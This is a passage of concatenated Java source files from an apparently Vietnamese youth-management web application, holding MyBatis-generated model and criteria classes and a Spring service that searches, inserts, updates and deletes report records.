getQltnMDistrictMapper() { return qltnMDistrictMapper; } } ``` Sym0012Result.java ```package vn.youthmanager.ict.youth.db.model; import vn.youthmanager.ict.common.db.model.QltnMCity; public class Sym0012Result extends QltnMCity { private String countryCode; private String countryName; private String searchDataTotalCounts; public String getSearchDataTotalCounts() { return searchDataTotalCounts; } public void setSearchDataTotalCounts(String searchDataTotalCounts) { this.searchDataTotalCounts = searchDataTotalCounts; } public String getCountryName() { return countryName; } public void setCountryName(String countryName) { this.countryName = countryName; } public String getCountryCode() { return countryCode; } public void setCountryCode(String countryCode) { this.countryCode = countryCode; } } ``` fddfdd796324718b6840a7c9d3e7e687d72d870e.svn-base ```package vn.youthmanager.ict.common.db.model; import java.util.Date; public class QltnMCategory { /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_category.CATE_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String cateId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_category.CATE_NAME * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String cateName; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_category.CREATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String createUserId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_category.CREATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private Date createDate; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_category.UPDATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String updateUserId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_category.LAST_UPDATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private Date lastUpdateDate; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_category.DELETE_FLAG * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String deleteFlag; /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_category.CATE_ID * * @return the value of qltn_m_category.CATE_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getCateId() { return cateId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_category.CATE_ID * * @param cateId the value for qltn_m_category.CATE_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setCateId(String cateId) { this.cateId = cateId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_category.CATE_NAME * * @return the value of qltn_m_category.CATE_NAME * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getCateName() { return cateName; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_category.CATE_NAME * * @param cateName the value for qltn_m_category.CATE_NAME * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setCateName(String cateName) { this.cateName = cateName; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_category.CREATE_USER_ID * * @return the value of qltn_m_category.CREATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getCreateUserId() { return createUserId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_category.CREATE_USER_ID * * @param createUserId the value for qltn_m_category.CREATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setCreateUserId(String createUserId) { this.createUserId = createUserId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_category.CREATE_DATE * * @return the value of qltn_m_category.CREATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public Date getCreateDate() { return createDate; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_category.CREATE_DATE * * @param createDate the value for qltn_m_category.CREATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setCreateDate(Date createDate) { this.createDate = createDate; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_category.UPDATE_USER_ID * * @return the value of qltn_m_category.UPDATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getUpdateUserId() { return updateUserId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_category.UPDATE_USER_ID * * @param updateUserId the value for qltn_m_category.UPDATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setUpdateUserId(String updateUserId) { this.updateUserId = updateUserId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_category.LAST_UPDATE_DATE * * @return the value of qltn_m_category.LAST_UPDATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public Date getLastUpdateDate() { return lastUpdateDate; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_category.LAST_UPDATE_DATE * * @param lastUpdateDate the value for qltn_m_category.LAST_UPDATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setLastUpdateDate(Date lastUpdateDate) { this.lastUpdateDate = lastUpdateDate; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_category.DELETE_FLAG * * @return the value of qltn_m_category.DELETE_FLAG * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getDeleteFlag() { return deleteFlag; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_category.DELETE_FLAG * * @param deleteFlag the value for qltn_m_category.DELETE_FLAG * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setDeleteFlag(String deleteFlag) { this.deleteFlag = deleteFlag; } }``` Sym0006Service.java ```package vn.youthmanager.ict.youth.service; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import org.apache.log4j.Logger; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.context.ApplicationContext; import org.springframework.dao.DuplicateKeyException; import org.springframework.stereotype.Service; import org.springframework.transaction.PlatformTransactionManager; import org.springframework.transaction.TransactionDefinition; import org.springframework.transaction.TransactionStatus; import org.springframework.transaction.support.DefaultTransactionDefinition; import org.springframework.ui.Model; import com.fasterxml.jackson.databind.ObjectMapper; import vn.youthmanager.ict.common.cnst.Constants; import vn.youthmanager.ict.common.cnst.LoggerMessage; import vn.youthmanager.ict.common.db.model.QltnMDetailReport; import vn.youthmanager.ict.common.db.model.QltnMReport; import vn.youthmanager.ict.common.util.Util; import vn.youthmanager.ict.youth.dao.Sym0006Dao; import vn.youthmanager.ict.youth.db.model.Sym0006Conditions; import vn.youthmanager.ict.youth.db.model.Sym0006DetailResult; import vn.youthmanager.ict.youth.db.model.Sym0006Result; @Service public class Sym0006Service { private static Logger logger = Logger.getLogger(Sym0006Service.class); @Autowired private Sym0006Dao sym0006Dao; ObjectMapper mapper = new ObjectMapper(); PlatformTransactionManager txManager; @Autowired private ApplicationContext appContext; /** * initData Create Select box Report * @param model */ public void initData(Model model, String reportId) { // TODO Auto-generated method stub List<QltnMReport> reportData = new ArrayList<QltnMReport>(); try { reportData = sym0006Dao.getQltnMReportMapper().selectByExample(null); model.addAttribute("reportData", mapper.writeValueAsString(reportData)); } catch (Exception ex) { ex.printStackTrace(); reportData = new ArrayList<QltnMReport>(); } try { model.addAttribute("reportData", mapper.writeValueAsString(reportData)); } catch (Exception ex) { model.addAttribute("reportData", "''"); } // model default report Id model.addAttribute("reportIdDefault", reportId); } /** * Search user in DB based on search conditions received from client * * @param searchConditions : data received from client * @return List of users data */ public List<Sym0006Result> searchData(Sym0006Conditions searchConditions) { List<Sym0006Result> bnn0006ResultList = new ArrayList<Sym0006Result>(); List<Sym0006DetailResult> bnn0006ReportNameList = new ArrayList<Sym0006DetailResult>(); HashMap<String, Object> params = createSearchConditionParams(searchConditions); try { logger.info(LoggerMessage.SEARCHING_STRATED); // search starts bnn0006ResultList = sym0006Dao.getSym0006Mapper().searchData(params); logger.info(LoggerMessage.EXECUTION_FINISHED); if (bnn0006ResultList.size() > 0) { // "real" total from search result String searchDataTotalCounts = sym0006Dao.getSym0006Mapper().getSearchDataTotalCounts(params); bnn0006ResultList.get(0).setSearchDataTotalCounts(searchDataTotalCounts); // search Report Name bnn0006ReportNameList = sym0006Dao.getSym0006Mapper().searchReportName(params); // set to List Result bnn0006ResultList.get(0).setTilereportName(bnn0006ReportNameList); // handle user input data convertSanitize(bnn0006ResultList); logger.info(LoggerMessage.SEARCHING_FINISHED); logger.info(" ==> " + searchDataTotalCounts + " item(s)"); } else { logger.info(LoggerMessage.SEARCHING_FINISHED); logger.info(LoggerMessage.ZERO_ITEM); } } catch (OutOfMemoryError ex) { ex.printStackTrace(); Sym0006Result tempObj = new Sym0006Result(); tempObj.setSearchDataTotalCounts("-1"); bnn0006ResultList.add(tempObj); } catch (Exception ex) { ex.printStackTrace(); bnn0006ResultList = null; } return bnn0006ResultList; } /** * Create search conditions parameters from data received from client * * @param searchConditions : data received from client * @return HashMap object */ private HashMap<String, Object> createSearchConditionParams(Sym0006Conditions searchConditions) { HashMap<String, Object> params = new HashMap<String, Object>(); // report Id params.put("reportId", searchConditions.getReportId()); // detail Report Name params.put("detailReportName", searchConditions.getDetailReportName().equals("") ? "" : "%" + searchConditions.getDetailReportName() + "%"); // From parameter params.put("fromRow", Integer.valueOf(searchConditions.getFromRow())); // Number of items in a page params.put("itemCount", Integer.valueOf(searchConditions.getItemCount())); return params; } /** * Handle user input data * * @param inputData : search result data list */ private void convertSanitize(List<Sym0006Result> inputData) { for (int i = 0; i < inputData.size(); i++) { Sym0006Result currentData = inputData.get(i); // Detail Report name currentData.setDetailReportName(Util.convertSanitize(currentData.getDetailReportName())); } } /** * Update user's information to DB * * @param userData : data received from client * @return String : update successfully: 1/update failed: -1 */ public String updateData(QltnMDetailReport detailReportData) { // variable definition String returnValue = Constants.UPDATE_RESULT_SUCCESSFUL; // update starts try { // check logged in user id if (Util.getUserInfo().getID() == null) { logger.error(LoggerMessage.ERROR_MESSAGE+ "Could not get logged in user's id"); returnValue = Constants.UPDATE_RESULT_FAILED; return returnValue; } // check for Report input if (!checkInputBlankFields(detailReportData)) { // blank field(s) logger.error(LoggerMessage.ERROR_MESSAGE +"Blank fields"); returnValue = Constants.VALIDATE_BLANK_FIELDS; return returnValue; } // transaction starts DefaultTransactionDefinition def = new DefaultTransactionDefinition(); def.setPropagationBehavior(TransactionDefinition.PROPAGATION_REQUIRED); txManager = (PlatformTransactionManager) appContext.getBean("transactionManager"); TransactionStatus status = txManager.getTransaction(def); try { QltnMDetailReport detailReportObj = new QltnMDetailReport(); // Report Id detailReportObj.setReportId(detailReportData.getReportId()); // Detail Report Id detailReportObj.setDetailReportId(detailReportData.getDetailReportId()); // Detail Report Name detailReportObj.setDetailReportName(detailReportData.getDetailReportName()); // delete flag detailReportObj.setDeleteFlag(detailReportData.getDeleteFlag()); // update user id detailReportObj.setUpdateUserId(Util.getUserInfo().getID()); int result = sym0006Dao.getQltnMDetailReportMapper().updateByPrimaryKeySelective(detailReportObj); if (result > 0) { // update successfully // register to DB txManager.commit(status); } else { returnValue = Constants.UPDATE_RESULT_FAILED; txManager.rollback(status); } } catch (Exception ex) { ex.printStackTrace(); logger.error(LoggerMessage.ERROR_MESSAGE + ex.getMessage()); returnValue = Constants.UPDATE_RESULT_FAILED; txManager.rollback(status); } } catch (Exception ex) { ex.printStackTrace(); logger.error(LoggerMessage.ERROR_MESSAGE + ex.getMessage()); returnValue = Constants.UPDATE_RESULT_FAILED; } return returnValue; } /** * Insert user's information to DB * * @param userData : data received from client * @return String : insert successfully: 1/insert failed: -1 */ public String insertData(QltnMDetailReport detailReportData) { // variable definition String returnValue = Constants.INSERT_RESULT_SUCCESSFUL; // insert starts try { // check logged in user id if (Util.getUserInfo().getID() == null) { logger.error("Error message: Could not get logged in user's id"); returnValue = Constants.INSERT_RESULT_FAILED; return returnValue; } // check for user input if (!checkInputBlankFields(detailReportData)) { // blank field(s) logger.error("Error message: Blank fields"); returnValue = Constants.VALIDATE_BLANK_FIELDS; return returnValue; } // transaction starts DefaultTransactionDefinition def = new DefaultTransactionDefinition(); def.setPropagationBehavior(TransactionDefinition.PROPAGATION_REQUIRED); txManager = (PlatformTransactionManager) appContext.getBean("transactionManager"); TransactionStatus status = txManager.getTransaction(def); try { HashMap<String, Object> params = new HashMap<String, Object>(); params.put("reportDefault", Constants.DEFAULT_PARAMS); int idNumber = Integer.parseInt(sym0006Dao.getSym0006Mapper().getLastDetailReportId(params).substring(1)); if (idNumber < Constants.REPORT_DEFAULT) { idNumber = idNumber + 1; String detailReportId = Constants.DETAIL_REPORT_CHARATER + String.format("%0" + Constants.MAX_LENGHT_ID + "d", idNumber); QltnMDetailReport detailReportObj = new QltnMDetailReport(); // Detail Report Id detailReportObj.setDetailReportId(detailReportId); // Report Id detailReportObj.setReportId(detailReportData.getReportId()); // Detail Report Name detailReportObj.setDetailReportName(detailReportData.getDetailReportName()); // create user id detailReportObj.setCreateUserId(Util.getUserInfo().getID()); // update user id detailReportObj.setUpdateUserId(Util.getUserInfo().getID()); // delete flag detailReportObj.setDeleteFlag(detailReportData.getDeleteFlag()); int result = sym0006Dao.getQltnMDetailReportMapper().insert(detailReportObj); if (result > 0) { // insert successfully // register to DB txManager.commit(status); } else { returnValue = Constants.INSERT_RESULT_FAILED; txManager.rollback(status); } } } catch (DuplicateKeyException ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.INSERT_RESULT_DUPLICATED; txManager.rollback(status); } catch (Exception ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.INSERT_RESULT_FAILED; txManager.rollback(status); } } catch (Exception ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.INSERT_RESULT_FAILED; } return returnValue; } /** * Delete user from DB * * @param usersId : user's id to delete * @return String : delete successfully: 1/delete failed: -1 */ public String deleteData(String detailReportId) { // variable definition String returnValue = Constants.DELETE_RESULT_SUCCESSFUL; // delete starts try { // transaction starts DefaultTransactionDefinition def = new DefaultTransactionDefinition(); def.setPropagationBehavior(TransactionDefinition.PROPAGATION_REQUIRED); txManager = (PlatformTransactionManager) appContext.getBean("transactionManager"); TransactionStatus status = txManager.getTransaction(def); try { int result = sym0006Dao.getQltnMDetailReportMapper().deleteByPrimaryKey(detailReportId); if (result > 0) { // delete successfully // register to DB txManager.commit(status); } else { returnValue = Constants.DELETE_RESULT_FAILED; txManager.rollback(status); } } catch (Exception ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.DELETE_RESULT_FAILED; txManager.rollback(status); } } catch (Exception ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.DELETE_RESULT_FAILED; } return returnValue; } /** * Get user information based on user's id * * @param usersId : user's id received from client * @return user data */ public QltnMDetailReport getSingleData(String reportId, String detailReportId) { QltnMDetailReport qltnMDetailReport = new QltnMDetailReport(); qltnMDetailReport.setReportId(reportId); qltnMDetailReport.setDetailReportId(detailReportId); return sym0006Dao.getSym0006Mapper().getSingleData(qltnMDetailReport); } /** * Check input: blank fields * * @param userData : data received from client * @return boolean : all fields have value: true/blank fields exist: false */ private boolean checkInputBlankFields(QltnMDetailReport detailReportData) { if (detailReportData.getDetailReportName().equalsIgnoreCase("")) { return false; } else { return true; } } } ``` 30687a3ea958d5ad02779ad1cd3ce9557c4fe17d.svn-base ```package vn.youthmanager.ict.common.db.model; import java.util.ArrayList; import java.util.Date; import java.util.List; public class QltnMAccessAuthorizationExample { /** * This field was generated by MyBatis Generator. * This field corresponds to the database table qltn_m_access_authorization * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ protected String orderByClause; /** * This field was generated by MyBatis Generator. * This field corresponds to the database table qltn_m_access_authorization * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ protected boolean distinct; /** * This field was generated by MyBatis Generator. * This field corresponds to the database table qltn_m_access_authorization * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ protected List<Criteria> oredCriteria; /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_access_authorization * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public QltnMAccessAuthorizationExample() { oredCriteria = new ArrayList<Criteria>(); } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_access_authorization * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setOrderByClause(String orderByClause) { this.orderByClause = orderByClause; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_access_authorization * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getOrderByClause() { return orderByClause; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_access_authorization * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setDistinct(boolean distinct) { this.distinct = distinct; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_access_authorization * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public boolean isDistinct() { return distinct; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_access_authorization * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public List<Criteria> getOredCriteria() { return oredCriteria; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_access_authorization * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void or(Criteria criteria) { oredCriteria.add(criteria); } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_access_authorization * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public Criteria or() { Criteria criteria = createCriteriaInternal(); oredCriteria.add(criteria); return criteria; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_access_authorization * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public Criteria createCriteria() { Criteria criteria = createCriteriaInternal(); if (oredCriteria.size() == 0) { oredCriteria.add(criteria); } return criteria; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_access_authorization * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ protected Criteria createCriteriaInternal() { Criteria criteria = new Criteria(); return criteria; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_access_authorization * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void clear() { oredCriteria.clear(); orderByClause = null; distinct = false; } /** * This class was generated by MyBatis Generator. * This class corresponds to the database table qltn_m_access_authorization * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ protected abstract static class GeneratedCriteria { protected List<Criterion> criteria; protected GeneratedCriteria() { super(); criteria = new ArrayList<Criterion>(); } public boolean isValid() { return criteria.size() > 0; } public List<Criterion> getAllCriteria() { return criteria; } public List<Criterion> getCriteria() { return criteria; } protected void addCriterion(String condition) { if (condition == null) { throw new RuntimeException("Value for condition cannot be null"); } criteria.add(new Criterion(condition)); } protected void addCriterion(String condition, Object value, String property) { if (value == null) { throw new RuntimeException("Value for " + property + " cannot be null"); } criteria.add(new Criterion(condition, value)); } protected void addCriterion(String condition, Object value1, Object value2, String property) { if (value1 == null || value2 == null) { throw new RuntimeException("Between values for " + property + " cannot be null"); } criteria.add(new Criterion(condition, value1, value2)); } public Criteria andAccessAuthorityIdIsNull() { addCriterion("ACCESS_AUTHORITY_ID is null"); return (Criteria) this; } public Criteria andAccessAuthorityIdIsNotNull() { addCriterion("ACCESS_AUTHORITY_ID is not null"); return (Criteria) this; } public Criteria andAccessAuthorityIdEqualTo(String value) { addCriterion("ACCESS_AUTHORITY_ID =", value, "accessAuthorityId"); return (Criteria) this; } public Criteria andAccessAuthorityIdNotEqualTo(String value) { addCriterion("ACCESS_AUTHORITY_ID <>", value, "accessAuthorityId"); return (Criteria) this; } public Criteria andAccessAuthorityIdGreaterThan(String value) { addCriterion("ACCESS_AUTHORITY_ID >", value, "accessAuthorityId"); return (Criteria) this; } public Criteria andAccessAuthorityIdGreaterThanOrEqualTo(String value) { addCriterion("ACCESS_AUTHORITY_ID >=", value, "accessAuthorityId"); return (Criteria) this; } public Criteria andAccessAuthorityIdLessThan(String value) { addCriterion("ACCESS_AUTHORITY_ID <", value, "accessAuthorityId"); return (Criteria) this; } public Criteria andAccessAuthorityIdLessThanOrEqualTo(String value) { addCriterion("ACCESS_AUTHORITY_ID <=", value, "accessAuthorityId"); return (Criteria) this; } public Criteria andAccessAuthorityIdLike(String value) { addCriterion("ACCESS_AUTHORITY_ID like", value, "accessAuthorityId"); return (Criteria) this; } public Criteria andAccessAuthorityIdNotLike(String value) { addCriterion("ACCESS_AUTHORITY_ID not like", value, "accessAuthorityId"); return (Criteria) this; } public Criteria andAccessAuthorityIdIn(List<String> values) { addCriterion("ACCESS_AUTHORITY_ID in", values, "accessAuthorityId"); return (Criteria) this; } public Criteria andAccessAuthorityIdNotIn(List<String> values) { addCriterion("ACCESS_AUTHORITY_ID not in", values, "accessAuthorityId"); return (Criteria) this; } public Criteria andAccessAuthorityIdBetween(String value1, String value2) { addCriterion("ACCESS_AUTHORITY_ID between", value1, value2, "accessAuthorityId"); return (Criteria) this; } public Criteria andAccessAuthorityIdNotBetween(String value1, String value2) { addCriterion("ACCESS_AUTHORITY_ID not between", value1, value2, "accessAuthorityId"); return (Criteria) this; } public Criteria andScreenIdIsNull() { addCriterion("SCREEN_ID is null"); return (Criteria) this; } public Criteria andScreenIdIsNotNull() { addCriterion("SCREEN_ID is not null"); return (Criteria) this; } public Criteria andScreenIdEqualTo(String value) { addCriterion("SCREEN_ID =", value, "screenId"); return (Criteria) this; } public Criteria andScreenIdNotEqualTo(String value) { addCriterion("SCREEN_ID <>", value, "screenId"); return (Criteria) this; } public Criteria andScreenIdGreaterThan(String value) { addCriterion("SCREEN_ID >", value, "screenId"); return (Criteria) this; } public Criteria andScreenIdGreaterThanOrEqualTo(String value) { addCriterion("SCREEN_ID >=", value, "screenId"); return (Criteria) this; } public Criteria andScreenIdLessThan(String value) { addCriterion("SCREEN_ID <", value, "screenId"); return (Criteria) this; } public Criteria andScreenIdLessThanOrEqualTo(String value) { addCriterion("SCREEN_ID <=", value, "screenId"); return (Criteria) this; } public Criteria andScreenIdLike(String value) { addCriterion("SCREEN_ID like", value, "screenId"); return (Criteria) this; } public Criteria andScreenIdNotLike(String value) { addCriterion("SCREEN_ID not like", value, "screenId"); return (Criteria) this; } public Criteria andScreenIdIn(List<String> values) { addCriterion("SCREEN_ID in", values, "screenId"); return (Criteria) this; } public Criteria andScreenIdNotIn(List<String> values) { addCriterion("SCREEN_ID not in", values, "screenId"); return (Criteria) this; } public Criteria andScreenIdBetween(String value1, String value2) { addCriterion("SCREEN_ID between", value1, value2, "screenId"); return (Criteria) this; } public Criteria andScreenIdNotBetween(String value1, String value2) { addCriterion("SCREEN_ID not between", value1, value2, "screenId"); return (Criteria) this; } public Criteria andScreenDisplayEnableFlagIsNull() { addCriterion("SCREEN_DISPLAY_ENABLE_FLAG is null"); return (Criteria) this; } public Criteria andScreenDisplayEnableFlagIsNotNull() { addCriterion("SCREEN_DISPLAY_ENABLE_FLAG is not null"); return (Criteria) this; } public Criteria andScreenDisplayEnableFlagEqualTo(Boolean value) { addCriterion("SCREEN_DISPLAY_ENABLE_FLAG =", value, "screenDisplayEnableFlag"); return (Criteria) this; } public Criteria andScreenDisplayEnableFlagNotEqualTo(Boolean value) { addCriterion("SCREEN_DISPLAY_ENABLE_FLAG <>", value, "screenDisplayEnableFlag"); return (Criteria) this; } public Criteria andScreenDisplayEnableFlagGreaterThan(Boolean value) { addCriterion("SCREEN_DISPLAY_ENABLE_FLAG >", value, "screenDisplayEnableFlag"); return (Criteria) this; } public Criteria andScreenDisplayEnableFlagGreaterThanOrEqualTo(Boolean value) { addCriterion("SCREEN_DISPLAY_ENABLE_FLAG >=", value, "screenDisplayEnableFlag"); return (Criteria) this; } public Criteria andScreenDisplayEnableFlagLessThan(Boolean value) { addCriterion("SCREEN_DISPLAY_ENABLE_FLAG <", value, "screenDisplayEnableFlag"); return (Criteria) this; } public Criteria andScreenDisplayEnableFlagLessThanOrEqualTo(Boolean value) { addCriterion("SCREEN_DISPLAY_ENABLE_FLAG <=", value, "screenDisplayEnableFlag"); return (Criteria) this; } public Criteria andScreenDisplayEnableFlagIn(List<Boolean> values) { addCriterion("SCREEN_DISPLAY_ENABLE_FLAG in", values, "screenDisplayEnableFlag"); return (Criteria) this; } public Criteria andScreenDisplayEnableFlagNotIn(List<Boolean> values) { addCriterion("SCREEN_DISPLAY_ENABLE_FLAG not in", values, "screenDisplayEnableFlag"); return (Criteria) this; } public Criteria andScreenDisplayEnableFlagBetween(Boolean value1, Boolean value2) { addCriterion("SCREEN_DISPLAY_ENABLE_FLAG between", value1, value2, "screenDisplayEnableFlag"); return (Criteria) this; } public Criteria andScreenDisplayEnableFlagNotBetween(Boolean value1, Boolean value2) { addCriterion("SCREEN_DISPLAY_ENABLE_FLAG not between", value1, value2, "screenDisplayEnableFlag"); return (Criteria) this; } public Criteria andAddableFlagIsNull() { addCriterion("ADDABLE_FLAG is null"); return (Criteria) this; } public Criteria andAddableFlagIsNotNull() { addCriterion("ADDABLE_FLAG is not null"); return (Criteria) this; } public Criteria andAddableFlagEqualTo(Boolean value) { addCriterion("ADDABLE_FLAG =", value, "addableFlag"); return (Criteria) this; } public Criteria andAddableFlagNotEqualTo(Boolean value) { addCriterion("ADDABLE_FLAG <>", value, "addableFlag"); return (Criteria) this; } public Criteria andAddableFlagGreaterThan(Boolean value) { addCriterion("ADDABLE_FLAG >", value, "addableFlag"); return (Criteria) this; } public Criteria andAddableFlagGreaterThanOrEqualTo(Boolean value) { addCriterion("ADDABLE_FLAG >=", value, "addableFlag"); return (Criteria) this; } public Criteria andAddableFlagLessThan(Boolean value) { addCriterion("ADDABLE_FLAG <", value, "addableFlag"); return (Criteria) this; } public Criteria andAddableFlagLessThanOrEqualTo(Boolean value) { addCriterion("ADDABLE_FLAG <=", value, "addableFlag"); return (Criteria) this; } public Criteria andAddableFlagIn(List<Boolean> values) { addCriterion("ADDABLE_FLAG in", values, "addableFlag"); return (Criteria) this; } public Criteria andAddableFlagNotIn(List<Boolean> values) { addCriterion("ADDABLE_FLAG not in", values, "addableFlag"); return (Criteria) this; } public Criteria andAddableFlagBetween(Boolean value1, Boolean value2) { addCriterion("ADDABLE_FLAG between", value1, value2, "addableFlag"); return (Criteria) this; } public Criteria andAddableFlagNotBetween(Boolean value1, Boolean value2) { addCriterion("ADDABLE_FLAG not between", value1, value2, "addableFlag"); return (Criteria) this; } public Criteria andUpdatableFlagIsNull() { addCriterion("UPDATABLE_FLAG is null"); return (Criteria) this; } public Criteria andUpdatableFlagIsNotNull() { addCriterion("UPDATABLE_FLAG is not null"); return (Criteria) this; } public Criteria andUpdatableFlagEqualTo(Boolean value) { addCriterion("UPDATABLE_FLAG =", value, "updatableFlag"); return (Criteria) this; } public Criteria andUpdatableFlagNotEqualTo(Boolean value) { addCriterion("UPDATABLE_FLAG <>", value, "updatableFlag"); return (Criteria) this; } public Criteria andUpdatableFlagGreaterThan(Boolean value) { addCriterion("UPDATABLE_FLAG >", value, "updatableFlag"); return (Criteria) this; } public Criteria andUpdatableFlagGreaterThanOrEqualTo(Boolean value) { addCriterion("UPDATABLE_FLAG >=", value, "updatableFlag"); return (Criteria) this; } public Criteria andUpdatableFlagLessThan(Boolean value) { addCriterion("UPDATABLE_FLAG <", value, "updatableFlag"); return (Criteria) this; } public Criteria andUpdatableFlagLessThanOrEqualTo(Boolean value) { addCriterion("UPDATABLE_FLAG <=", value, "updatableFlag"); return (Criteria) this; } public Criteria andUpdatableFlagIn(List<Boolean> values) { addCriterion("UPDATABLE_FLAG in", values, "updatableFlag"); return (Criteria) this; } public Criteria andUpdatableFlagNotIn(List<Boolean> values) { addCriterion("UPDATABLE_FLAG not in", values, "updatableFlag"); return (Criteria) this; } public Criteria andUpdatableFlagBetween(Boolean value1, Boolean value2) { addCriterion("UPDATABLE_FLAG between", value1, value2, "updatableFlag"); return (Criteria) this; } public Criteria andUpdatableFlagNotBetween(Boolean value1, Boolean value2) { addCriterion("UPDATABLE_FLAG not between", value1, value2, "updatableFlag"); return (Criteria) this; } public Criteria andDeletableFlagIsNull() { addCriterion("DELETABLE_FLAG is null"); return (Criteria) this; } public Criteria andDeletableFlagIsNotNull() { addCriterion("DELETABLE_FLAG is not null"); return (Criteria) this; } public Criteria andDeletableFlagEqualTo(Boolean value) { addCriterion("DELETABLE_FLAG =", value, "deletableFlag"); return (Criteria) this; } public Criteria andDeletableFlagNotEqualTo(Boolean value) { addCriterion("DELETABLE_FLAG <>", value, "deletableFlag"); return (Criteria) this; } public Criteria andDeletableFlagGreaterThan(Boolean value) { addCriterion("DELETABLE_FLAG >", value, "deletableFlag"); return (Criteria) this; } public Criteria andDeletableFlagGreaterThanOrEqualTo(Boolean value) { addCriterion("DELETABLE_FLAG >=", value, "deletableFlag"); return (Criteria) this; } public Criteria andDeletableFlagLessThan(Boolean value) { addCriterion("DELETABLE_FLAG <", value, "deletableFlag"); return (Criteria) this; } public Criteria andDeletableFlagLessThanOrEqualTo(Boolean value) { addCriterion("DELETABLE_FLAG <=", value, "deletableFlag"); return (Criteria) this; } public Criteria andDeletableFlagIn(List<Boolean> values) { addCriterion("DELETABLE_FLAG in", values, "deletableFlag"); return (Criteria) this; } public Criteria andDeletableFlagNotIn(List<Boolean> values) { addCriterion("DELETABLE_FLAG not in", values, "deletableFlag"); return (Criteria) this; } public Criteria andDeletableFlagBetween(Boolean value1, Boolean value2) { addCriterion("DELETABLE_FLAG between", value1, value2, "deletableFlag"); return (Criteria) this; } public Criteria andDeletableFlagNotBetween(Boolean value1, Boolean value2) { addCriterion("DELETABLE_FLAG not between", value1, value2, "deletableFlag"); return 